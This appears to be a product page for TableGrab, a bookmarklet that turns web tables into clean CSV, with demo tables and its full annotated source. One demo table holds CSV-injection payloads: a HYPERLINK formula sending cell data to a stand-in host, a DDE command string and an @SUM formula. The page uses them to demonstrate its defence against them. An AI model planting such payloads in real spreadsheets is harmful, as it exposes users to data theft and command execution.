TableGrab turns any table on any web page into a clean, Excel-ready CSV in one click. It handles the things that break copy and paste: merged cells, hidden columns, footnote markers, currency symbols and numbers stored as text.
One file. No extension, no account, no network calls. The whole thing runs inside your browser tab and nothing about the page you are on leaves your machine. The source is right here on this page, unminified, so you can read every line before you trust it.
A bookmarklet is just a bookmark whose address is a small program. Your IT department does not need to approve anything, because there is nothing to approve.
Drag this button up to your bookmarks bar. Do not click it here.
If dragging does not work (some managed browsers block it), create a new bookmark by hand, name it anything, and paste the code below into the URL field.
Every table below is deliberately hostile. Each one is a real pattern that makes a plain copy and paste come out wrong. Click your new bookmark and export them.
Two header rows, a region label spanning three rows, a column the report author hid from the public view, negatives in accounting parentheses, a European number format, and footnote markers glued to the labels. Copy and paste turns this into a staircase.
| Region | Segment | Revenue1 | Net change | Internal margin | |
|---|---|---|---|---|---|
| Q1 | Q2 | ||||
| North America | Enterprise | $1,284,900 | $1,406,220 | 121,320 | |
| Mid‑market | $612,455 | $570,275 | (42,180) | ||
| Public sector2 | $188,000 | $204,500 | 16,500 | ||
| EMEA | Enterprise | 1.284.900,50 | 1.402.117,80 | 117.217,30 | |
| Mid‑market | 402.118,00 | 388.940,25 | (13.177,75) | ||
| TEMPLATE_ROW | DO_NOT_EXPORT | 0 | 0 | 0 | 0 |
1. Recognized revenue, net of refunds. 2. Includes two contracts pending signature.
Addresses split across lines with <br>, non-breaking spaces
for alignment, links inside cells, and a units column with a real superscript exponent
that must survive. Copy and paste explodes the multi-line cells into extra rows.
| Vendor | Site address | Coverage | Rate | Contact |
|---|---|---|---|---|
| Brightline Facilities* | 4120 Harbour Way Suite 300 Baltimore, MD 21230 |
1,850 m2 per visit | $3,450.00 | n.osei@example.com |
| Cardinal Mechanical | 77 Rivermill Road Building C Wilmington, DE 19801 |
940 m2 per visit | $1,880.00 | dispatch@example.com |
| Halloran & Pike | 1900 Beaumont Pike Wilmington, DE 19807 |
2,400 m2 per visit | $4,120.00 | contracts@example.com |
* Master services agreement expires in November.
Modern data grids are stacks of div elements with ARIA roles.
There is no <table> here, which is why most table scrapers see nothing.
One column is toggled off, exactly like a column chooser would do it.
A table on a web page is input from a stranger. If a cell starts with
=, +, @ or a tab, most spreadsheets will happily
execute it when the file is opened. TableGrab prefixes those cells with an apostrophe so
they land as text, while genuine negative numbers stay numeric.
| Seller | Reference | Adjustment | Payout |
|---|---|---|---|
| Northgate Supply | =HYPERLINK("http://collect.example/log?d="&A1,"View invoice") | -1,250.00 | $18,410.00 |
| Vallecourt Trading | +1+cmd|'/c calc'!A0 | 0.00 | $7,905.50 |
| Okonjo Logistics | @SUM(1+9)*9 | -84.20 | $2,338.75 |
Nine decisions separate a usable CSV from a mess you have to clean by hand. This is all of them.
Rowspan and colspan are expanded into a true rectangle and the merged value is repeated, so the result can go straight into a pivot table.
Rows, cells and column groups hidden by CSS are dropped, including zero-width columns. You export what you can see. A checkbox turns this off when you want everything.
A superscript at the end of a cell is treated as a footnote marker and removed. One that has text after it is treated as an exponent and kept.
Multi-line cells collapse to one clean value instead of blowing up into extra rows. Non-breaking spaces and zero-width characters are stripped.
Currency symbols and thousands separators are removed, accounting parentheses become a minus sign, and European decimal commas are converted.
Cells starting with an equals sign, plus, at sign or tab are quoted as text. This is a real attack against anyone who opens a downloaded CSV.
RFC 4180 quoting, CRLF line endings and a UTF-8 byte order mark, so accented characters do not turn into question marks.
Dashboard grids built out of div elements are read through their ARIA roles, so the tool works on software that never emits a table tag.
No fetch, no XHR, no analytics, no remote script. The entire program is inside the bookmark, which is why you can read it before you trust it.
Any tool that only tells you what it does well is selling you something. Here is the honest list.
You are being asked to put a program in your browser. You should be able to read it first. This is the whole thing, annotated, before minification.
/*!
* TableGrab - one-click web table to clean CSV
* A self-contained bookmarklet. No network calls. Nothing leaves the browser.
* Christopher Kokoski / Kokoski Advisory
*
* Design notes (why this is more than document.querySelector('table')):
* 1. rowspan / colspan are expanded into a true rectangular grid, and merged
* values are filled down and across, so the CSV is actually pivotable.
* 2. Rows, cells and <col> elements hidden by CSS are dropped. Dashboards hide
* columns constantly; a naive scraper silently imports them.
* 3. Footnote markers inside <sup> are stripped, <br> becomes a space, and
* form controls inside editable grids report their current value.
* 4. Numbers are normalized: currency symbols removed, thousands separators
* removed, (1,234) becomes -1234, European 1.234,56 becomes 1234.56.
* 5. Output is RFC 4180 CSV with CRLF and a UTF-8 BOM so Excel opens it clean.
* 6. Cells beginning with = + - @ tab or CR are prefixed with an apostrophe.
* A table on a web page is untrusted input. CSV injection is a real thing.
* 7. Dashboard grids built from divs are read through their ARIA roles, so the
* tool works on software that never emits a <table> tag.
* 8. The UI lives in a shadow root so page CSS cannot break it and it cannot
* break page CSS.
* 9. There is no fetch, no XHR and no remote script anywhere in this file.
* That is checkable, which is the only reason you should trust it.
*/
(function () {
'use strict';
var NS = '__tableGrab__';
if (window[NS] && typeof window[NS].teardown === 'function') {
window[NS].teardown();
return;
}
var OPTS = { cleanNumbers: true, includeHidden: false };
var MAX_SPAN_C = 200, MAX_SPAN_R = 500;
/* ------------------------------------------------------------------ util */
// Invisible and typographic characters are what make a "clean looking" cell
// fail a numeric parse or a lookup three steps later.
function clean(s) {
return String(s == null ? '' : s)
.replace(/[\u200B-\u200D\uFEFF\u00AD]/g, '')
.replace(/[\u00A0\u2007\u2009\u202F]/g, ' ')
.replace(/[\u2011\u2212]/g, '-')
.replace(/\s+/g, ' ')
.trim();
}
function isHidden(el) {
if (!el || el.nodeType !== 1) return false;
if (el.hasAttribute('hidden')) return true;
if (el.getAttribute('aria-hidden') === 'true') return true;
var s;
try { s = getComputedStyle(el); } catch (e) { return false; }
if (!s) return false;
return s.display === 'none' || s.visibility === 'hidden' || s.visibility === 'collapse';
}
// Collapsing a column to zero width is a common "hide this column" trick that
// computed display does not catch. A hidden column keeps its full height, so
// either dimension being ~0 counts. Only trusted when the table itself has
// been laid out, otherwise a collapsed accordion would wipe out everything.
function isZeroSize(el) {
var r = el.getBoundingClientRect();
return r.width < 2 || r.height < 2;
}
function isLaidOut(el) {
if (isHidden(el)) return false;
var r = el.getBoundingClientRect();
return r.width > 2 && r.height > 2;
}
function textFollows(node, root) {
var w = document.createTreeWalker(root, NodeFilter.SHOW_TEXT, null);
var seen = false, n;
while ((n = w.nextNode())) {
if (node.contains(n)) { seen = true; continue; }
if (seen && n.nodeValue && n.nodeValue.trim()) return true;
}
return false;
}
function cellText(cell) {
var clone = cell.cloneNode(true);
var drop = clone.querySelectorAll('script,style,noscript,[aria-hidden="true"]');
for (var i = 0; i < drop.length; i++) drop[i].parentNode.removeChild(drop[i]);
// Footnote markers only. Real footnotes sit at the end of a cell, so a
// superscript with text after it is treated as an exponent and kept.
var sups = clone.querySelectorAll('sup,.footnote,.fn-ref');
for (var j = 0; j < sups.length; j++) {
var sup = sups[j];
var t = (sup.textContent || '').trim();
if (t.length > 4 || !/^[*†‡§¶\[\]()\d,.a-z]+$/i.test(t)) continue;
if (textFollows(sup, clone)) continue;
sup.parentNode.removeChild(sup);
}
var brs = clone.querySelectorAll('br');
for (var k = 0; k < brs.length; k++) {
brs[k].parentNode.replaceChild(document.createTextNode(' '), brs[k]);
}
var blocks = clone.querySelectorAll('p,div,li,tr,td,th');
for (var m = 0; m < blocks.length; m++) {
blocks[m].appendChild(document.createTextNode(' '));
}
var text = clone.textContent || '';
if (!text.trim()) {
var inp = cell.querySelector('input,select,textarea');
if (inp) {
if (inp.type === 'checkbox' || inp.type === 'radio') text = inp.checked ? 'TRUE' : 'FALSE';
else if (inp.tagName === 'SELECT') text = inp.options[inp.selectedIndex] ? inp.options[inp.selectedIndex].text : '';
else text = inp.value || '';
}
}
return clean(text);
}
// Predictable beats clever. Only unambiguous formats are converted.
function normNumber(s) {
if (!OPTS.cleanNumbers || !s) return s;
var t = s.trim(), neg = false;
if (/^\(.+\)$/.test(t)) { neg = true; t = t.slice(1, -1).trim(); }
var m = t.match(/^([-+])?\s*(?:[$€£¥₹]|USD|EUR|GBP|CAD)?\s*([\d.,\s']+?)\s*(%)?$/i);
if (!m) return s;
var body = m[2].replace(/[\s']/g, '');
if (!/\d/.test(body)) return s;
if (/^\d{1,3}(\.\d{3})+(,\d+)?$/.test(body)) body = body.replace(/\./g, '').replace(',', '.');
else body = body.replace(/,/g, '');
if (!/^\d*\.?\d+$/.test(body)) return s;
if (m[1] === '-') neg = true;
return (neg ? '-' : '') + body + (m[3] || '');
}
function looksNumeric(s) { return /^-?\d*\.?\d+%?$/.test(s); }
function csvCell(v) {
var s = String(v == null ? '' : v);
if (/^[=+\-@\t\r]/.test(s) && !looksNumeric(s)) s = "'" + s;
if (/["\n\r,]/.test(s) || /^\s|\s$/.test(s)) s = '"' + s.replace(/"/g, '""') + '"';
return s;
}
function tsvCell(v) {
var s = String(v == null ? '' : v);
if (/^[=+\-@\t\r]/.test(s) && !looksNumeric(s)) s = "'" + s;
if (/[\t\n\r"]/.test(s)) s = '"' + s.replace(/"/g, '""') + '"';
return s;
}
function slug(s) {
return clean(s).toLowerCase().replace(/[^a-z0-9]+/g, '-').replace(/^-+|-+$/g, '').slice(0, 60) || 'table';
}
/* ------------------------------------------------------- grid extraction */
// HTMLTableElement.rows is the right tool here: it excludes rows belonging to
// nested tables, and it returns thead, then tbody, then tfoot regardless of
// the order those sections appear in the source. A querySelectorAll('tr')
// would put a source-order <tfoot> in the middle of the data.
function ownTrs(table) {
if (table.rows && table.rows.length) return Array.prototype.slice.call(table.rows);
var out = [], all = table.querySelectorAll('tr');
for (var i = 0; i < all.length; i++) {
if (all[i].closest('table') === table) out.push(all[i]);
}
return out;
}
function ownAriaRows(root) {
var out = [], all = root.querySelectorAll('[role="row"]');
for (var i = 0; i < all.length; i++) {
if (all[i].closest('[role="table"],[role="grid"],[role="treegrid"]') === root) out.push(all[i]);
}
return out;
}
function buildGrid(rows, getCells, spanAttrs, tableVisible) {
var vals = [], hid = [], maxCols = 0;
for (var r = 0; r < rows.length; r++) {
var tr = rows[r];
var rowHidden = isHidden(tr);
if (!vals[r]) { vals[r] = []; hid[r] = []; }
var c = 0, cells = getCells(tr);
for (var i = 0; i < cells.length; i++) {
var cell = cells[i];
while (vals[r][c] !== undefined) c++;
var cs = Math.min(MAX_SPAN_C, Math.max(1, parseInt(cell.getAttribute(spanAttrs[0]) || '1', 10) || 1));
var rs = Math.min(MAX_SPAN_R, Math.max(1, parseInt(cell.getAttribute(spanAttrs[1]) || '1', 10) || 1));
var txt = normNumber(cellText(cell));
var isHid = rowHidden || isHidden(cell) || (tableVisible && isZeroSize(cell));
for (var dr = 0; dr < rs; dr++) {
for (var dc = 0; dc < cs; dc++) {
var rr = r + dr, cc = c + dc;
if (!vals[rr]) { vals[rr] = []; hid[rr] = []; }
vals[rr][cc] = txt; // merged values fill down and across
hid[rr][cc] = isHid;
}
}
c += cs;
if (c > maxCols) maxCols = c;
}
}
for (var y = 0; y < vals.length; y++) {
if (!vals[y]) { vals[y] = []; hid[y] = []; }
for (var x = 0; x < maxCols; x++) {
if (vals[y][x] === undefined) { vals[y][x] = ''; hid[y][x] = false; }
}
}
return { vals: vals, hid: hid, cols: maxCols };
}
function hiddenColgroup(table, cols) {
var flags = [], list = table.querySelectorAll('col'), idx = 0;
for (var i = 0; i < list.length; i++) {
if (list[i].closest('table') !== table) continue;
var span = Math.max(1, parseInt(list[i].getAttribute('span') || '1', 10) || 1);
var h = isHidden(list[i]);
for (var j = 0; j < span && idx < cols; j++, idx++) flags[idx] = h;
}
return flags;
}
function prune(grid, colFlags) {
var vals = grid.vals, hid = grid.hid, cols = grid.cols;
var keepCol = [], x, y;
for (x = 0; x < cols; x++) {
if (colFlags && colFlags[x] && !OPTS.includeHidden) { keepCol.push(false); continue; }
var anyVisible = false, anyContent = false;
for (y = 0; y < vals.length; y++) {
if (!hid[y][x]) anyVisible = true;
if (vals[y][x] !== '') anyContent = true;
}
keepCol.push(OPTS.includeHidden ? anyContent : (anyVisible && anyContent));
}
var out = [];
for (y = 0; y < vals.length; y++) {
var rowVisible = false, rowContent = false, row = [];
for (x = 0; x < cols; x++) {
if (!keepCol[x]) continue;
row.push(vals[y][x]);
if (!hid[y][x]) rowVisible = true;
if (vals[y][x] !== '') rowContent = true;
}
if (!row.length) continue;
if (!rowContent) continue;
if (!rowVisible && !OPTS.includeHidden) continue;
out.push(row);
}
return out;
}
function extract(entry) {
var el = entry.el, grid, colFlags = null;
var tableVisible = isLaidOut(el);
if (entry.kind === 'table') {
grid = buildGrid(ownTrs(el), function (tr) {
var out = [];
for (var i = 0; i < tr.children.length; i++) {
var tag = tr.children[i].tagName;
if (tag === 'TD' || tag === 'TH') out.push(tr.children[i]);
}
return out;
}, ['colspan', 'rowspan'], tableVisible);
colFlags = hiddenColgroup(el, grid.cols);
} else {
grid = buildGrid(ownAriaRows(el), function (tr) {
var out = [], kids = tr.querySelectorAll('[role="cell"],[role="gridcell"],[role="columnheader"],[role="rowheader"]');
for (var i = 0; i < kids.length; i++) {
if (kids[i].closest('[role="row"]') === tr) out.push(kids[i]);
}
return out;
}, ['aria-colspan', 'aria-rowspan'], tableVisible);
}
return prune(grid, colFlags);
}
/* --------------------------------------------------------- table finding */
function findIn(doc, out) {
var i, el, tables = doc.querySelectorAll('table');
for (i = 0; i < tables.length; i++) {
el = tables[i];
if (el.parentElement && el.parentElement.closest('table')) continue; // nested
if (isHidden(el)) continue;
var rows = ownTrs(el);
if (rows.length < 2) continue;
out.push({ el: el, kind: 'table', doc: doc });
}
var grids = doc.querySelectorAll('[role="table"],[role="grid"],[role="treegrid"]');
for (i = 0; i < grids.length; i++) {
el = grids[i];
if (el.tagName === 'TABLE') continue;
if (isHidden(el)) continue;
if (ownAriaRows(el).length < 2) continue;
out.push({ el: el, kind: 'grid', doc: doc });
}
var frames = doc.querySelectorAll('iframe');
for (i = 0; i < frames.length; i++) {
try {
var d = frames[i].contentDocument;
if (d && d.body) findIn(d, out);
} catch (e) { /* cross-origin, nothing we can do */ }
}
return out;
}
function label(entry, n) {
var cap = entry.el.querySelector && entry.el.querySelector('caption');
var name = cap ? clean(cap.textContent) : '';
if (!name) {
var prev = entry.el.previousElementSibling;
for (var hops = 0; prev && hops < 3; hops++, prev = prev.previousElementSibling) {
if (/^H[1-6]$/.test(prev.tagName)) { name = clean(prev.textContent); break; }
}
}
if (!name) name = entry.el.getAttribute('aria-label') || '';
return clean(name).slice(0, 70) || ('Table ' + n);
}
/* ------------------------------------------------------------- delivery */
function buildCsv(rows) {
var lines = [];
for (var i = 0; i < rows.length; i++) {
var cells = [];
for (var j = 0; j < rows[i].length; j++) cells.push(csvCell(rows[i][j]));
lines.push(cells.join(','));
}
return lines.join('\r\n');
}
function download(rows, name) {
var blob = new Blob(['' + buildCsv(rows)], { type: 'text/csv;charset=utf-8;' });
var url = URL.createObjectURL(blob);
var a = document.createElement('a');
a.href = url; a.download = name; a.style.display = 'none';
document.body.appendChild(a); a.click();
setTimeout(function () { document.body.removeChild(a); URL.revokeObjectURL(url); }, 1500);
}
function copyTsv(rows, done) {
var lines = [];
for (var i = 0; i < rows.length; i++) {
var cells = [];
for (var j = 0; j < rows[i].length; j++) cells.push(tsvCell(rows[i][j]));
lines.push(cells.join('\t'));
}
var text = lines.join('\n');
function fallback() {
var ta = document.createElement('textarea');
ta.value = text;
ta.style.cssText = 'position:fixed;top:-1000px;left:-1000px;opacity:0';
document.body.appendChild(ta); ta.select();
var ok = false;
try { ok = document.execCommand('copy'); } catch (e) { ok = false; }
document.body.removeChild(ta);
done(ok);
}
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(text).then(function () { done(true); }, fallback);
} else fallback();
}
/* -------------------------------------------------------------------- UI */
var host = document.createElement('div');
host.setAttribute('data-tablegrab', '');
host.style.cssText = 'all:initial;position:absolute;top:0;left:0;width:0;height:0;z-index:2147483647';
var root = host.attachShadow ? host.attachShadow({ mode: 'open' }) : host;
document.documentElement.appendChild(host);
var style = document.createElement('style');
style.textContent = [
':host,*{box-sizing:border-box;font-family:ui-sans-serif,system-ui,-apple-system,"Segoe UI",Roboto,sans-serif}',
'.tg-out{position:absolute;pointer-events:none;border:2px solid #6366f1;border-radius:6px;box-shadow:0 0 0 3px rgba(99,102,241,.16)}',
'.tg-badge{position:absolute;display:flex;align-items:center;gap:6px;background:#111827;color:#fff;border-radius:8px;padding:5px 6px 5px 10px;font-size:12px;line-height:1;box-shadow:0 6px 18px rgba(0,0,0,.28);white-space:nowrap}',
'.tg-badge b{font-weight:600;max-width:220px;overflow:hidden;text-overflow:ellipsis}',
'.tg-badge span{color:#a5b4fc;font-variant-numeric:tabular-nums}',
'.tg-badge button{cursor:pointer;border:0;border-radius:6px;padding:5px 9px;font-size:12px;font-weight:600;background:#6366f1;color:#fff}',
'.tg-badge button.alt{background:#374151}',
'.tg-badge button:hover{filter:brightness(1.15)}',
'.tg-bar{position:fixed;top:14px;right:14px;background:#111827;color:#fff;border-radius:12px;padding:12px 14px;font-size:13px;box-shadow:0 12px 34px rgba(0,0,0,.35);min-width:230px}',
'.tg-bar h4{margin:0 0 2px;font-size:13px;font-weight:700;letter-spacing:.2px}',
'.tg-bar p{margin:0 0 10px;font-size:11px;color:#9ca3af}',
'.tg-bar label{display:flex;align-items:center;gap:7px;font-size:12px;color:#e5e7eb;margin:5px 0;cursor:pointer}',
'.tg-bar .close{position:absolute;top:8px;right:9px;cursor:pointer;color:#9ca3af;font-size:15px;line-height:1;background:none;border:0}',
'.tg-bar .hint{margin:9px 0 0;font-size:10px;color:#6b7280}',
'.tg-toast{position:fixed;left:50%;bottom:26px;transform:translateX(-50%);background:#111827;color:#fff;padding:11px 17px;border-radius:10px;font-size:13px;box-shadow:0 12px 34px rgba(0,0,0,.35)}',
'.tg-empty{position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);background:#111827;color:#fff;padding:18px 22px;border-radius:12px;font-size:14px;box-shadow:0 12px 34px rgba(0,0,0,.35)}'
].join('');
root.appendChild(style);
function el(tag, cls, txt) {
var n = document.createElement(tag);
if (cls) n.className = cls;
if (txt != null) n.textContent = txt;
return n;
}
function toast(msg) {
var t = el('div', 'tg-toast', msg);
root.appendChild(t);
setTimeout(function () { if (t.parentNode) t.parentNode.removeChild(t); }, 2600);
}
var found = findIn(document, []);
var overlays = [];
function place() {
var sx = window.pageXOffset, sy = window.pageYOffset;
for (var i = 0; i < overlays.length; i++) {
var o = overlays[i];
var r;
try { r = o.entry.el.getBoundingClientRect(); } catch (e) { continue; }
var top = r.top + sy, left = r.left + sx;
if (o.entry.doc !== document) { top = sy + 8; left = sx + 8; }
o.out.style.top = top + 'px';
o.out.style.left = left + 'px';
o.out.style.width = r.width + 'px';
o.out.style.height = r.height + 'px';
// Sit above the table and hug its right edge, where page text is least
// likely to be covered.
var bw = o.badge.offsetWidth || 260;
o.badge.style.top = Math.max(sy + 4, top - 34) + 'px';
o.badge.style.left = Math.max(sx + 4, left + r.width - bw) + 'px';
}
}
function teardown() {
window.removeEventListener('scroll', place, true);
window.removeEventListener('resize', place);
document.removeEventListener('keydown', onKey, true);
if (host.parentNode) host.parentNode.removeChild(host);
try { delete window[NS]; } catch (e) { window[NS] = null; }
}
function onKey(e) { if (e.key === 'Escape') teardown(); }
if (!found.length) {
var empty = el('div', 'tg-empty', 'TableGrab found no data tables on this page.');
root.appendChild(empty);
setTimeout(teardown, 2200);
window[NS] = { teardown: teardown };
return;
}
found.forEach(function (entry, i) {
var n = i + 1;
var name = label(entry, n);
var out = el('div', 'tg-out');
var badge = el('div', 'tg-badge');
var title = el('b', null, name);
var size = el('span', null, '');
var dl = el('button', null, 'CSV');
var cp = el('button', 'alt', 'Copy');
function rows() { return extract(entry); }
function refreshSize() {
var r = rows();
size.textContent = r.length + ' x ' + (r[0] ? r[0].length : 0);
return r;
}
dl.addEventListener('click', function () {
var r = refreshSize();
if (!r.length) return toast('Nothing to export from that table.');
download(r, slug(document.title) + '--' + slug(name) + '.csv');
toast('Downloaded ' + r.length + ' rows x ' + r[0].length + ' columns');
});
cp.addEventListener('click', function () {
var r = refreshSize();
if (!r.length) return toast('Nothing to copy from that table.');
copyTsv(r, function (ok) {
toast(ok ? 'Copied ' + r.length + ' rows. Paste into Sheets or Excel.' : 'Copy blocked by the browser. Use CSV instead.');
});
});
badge.appendChild(title);
badge.appendChild(size);
badge.appendChild(dl);
badge.appendChild(cp);
root.appendChild(out);
root.appendChild(badge);
overlays.push({ entry: entry, out: out, badge: badge, refresh: refreshSize });
refreshSize();
});
var bar = el('div', 'tg-bar');
var close = el('button', 'close', '×');
close.addEventListener('click', teardown);
bar.appendChild(close);
bar.appendChild(el('h4', null, 'TableGrab'));
bar.appendChild(el('p', null, found.length + (found.length === 1 ? ' table found' : ' tables found')));
function toggle(labelText, key) {
var l = el('label');
var cb = document.createElement('input');
cb.type = 'checkbox';
cb.checked = OPTS[key];
cb.addEventListener('change', function () {
OPTS[key] = cb.checked;
overlays.forEach(function (o) { o.refresh(); });
});
l.appendChild(cb);
l.appendChild(document.createTextNode(labelText));
return l;
}
bar.appendChild(toggle('Clean numbers', 'cleanNumbers'));
bar.appendChild(toggle('Include hidden rows and columns', 'includeHidden'));
bar.appendChild(el('p', 'hint', 'Esc to exit. Nothing is uploaded anywhere.'));
root.appendChild(bar);
place();
window.addEventListener('scroll', place, true);
window.addEventListener('resize', place);
document.addEventListener('keydown', onKey, true);
window[NS] = { teardown: teardown, extract: extract, csv: buildCsv, found: found, opts: OPTS };
})();